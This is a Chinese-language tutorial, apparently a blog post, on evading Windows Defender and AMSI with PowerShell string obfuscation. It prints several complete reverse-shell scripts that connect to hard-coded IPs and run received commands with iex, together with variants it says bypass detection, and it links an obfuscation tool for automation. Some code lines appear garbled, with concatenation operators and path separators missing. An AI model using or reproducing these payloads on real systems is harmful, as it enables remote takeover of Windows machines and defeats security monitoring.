引言
本文将从powershell特性说起,一步步介绍powershell特性,并使用特性绕过Windows Defender Reverse Shell,并在最后给出自动化工具。
0x01 powershell特性:
首先我们先来了解关于powershell的一些特性,他将有效的帮助我们来绕过各类AVEDR等,来执行我们的恶意代码,在win10中引入了amsi机制,可以有效的预防powershell执行恶意代码,比如下面这样:
代码语言:javascript复制Write-Host "amsicontext"
下面将介绍几个powershell特性,以帮助我们来进行bypass操作。
1、字符串拼接
代码语言:javascript复制PS C:UsersAdministrator> $context = "amsi" "context"
PS C:UsersAdministrator> Write-Host $context
2、ASCII码转换
代码语言:javascript复制PS C:UsersAdministrator> Write-Host([char]97 [char]109 [char]115 [char]105 [char]101 [char]111 [char]110 [char]116 [char]101 [char]120 [char]116)
3、变量拼接
代码语言:javascript复制PS C:UsersAdministrator> $var = "context"
PS C:UsersAdministrator> Write-Host "amsi $var"amsi context
PSC:UsersAdministrator> Write-Host "amsi$var"
4、字符串格式化
代码语言:javascript复制PS C:UsersAdministrator> $string = "amsi{0}{1}" -f "con","text"
PS C:UsersAdministrator> Write-Host $string
5、字符串替换
代码语言:javascript复制PS C:UsersAdministrator> $replace = "amsiABCDEF" -replace"ABCDEF","context"
PS C:UsersAdministrator> Write-Host $replace
0x02 实战bypass
我们以反弹shell代码为例,实战bypass,代码如下:
代码语言:javascript复制$sm=(New-Object
Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();
[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));
$sm.Write($st,0,$st.Length)}
测试这类代码的精髓就是依次删除,找到拦截的关键字。经测试,代码变为下面这样时,不再拦截。
但此时无法执行命令。仔细观察代码,我们可以尝试更改其中的敏感词,比如变为下面这样:
代码语言:javascript复制$sm=(New-Object Net.Sockets.TCPClient('192.168.2.114',4444)).GetStream();
[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
$var = "ASCII";
$st=([text.encoding]::$var).GetBytes((iex $d 2>&1));
$sm.Write($st,0,$st.Length)}
成功bypass,再比如下面这个代码:
代码语言:javascript复制#$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback 'PS ' (pwd).Path '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()
代码语言:javascript复制$client = New-Object System.Net.Sockets.TCPClient('192.168.2.114',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback 'PS ' (pwd).Path '> ';
$var = "utf8";
$sendbyte = ([text.encoding]::$var).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
bypass
自动化
https://github.com/danielbohannon/Invoke-Obfuscation
END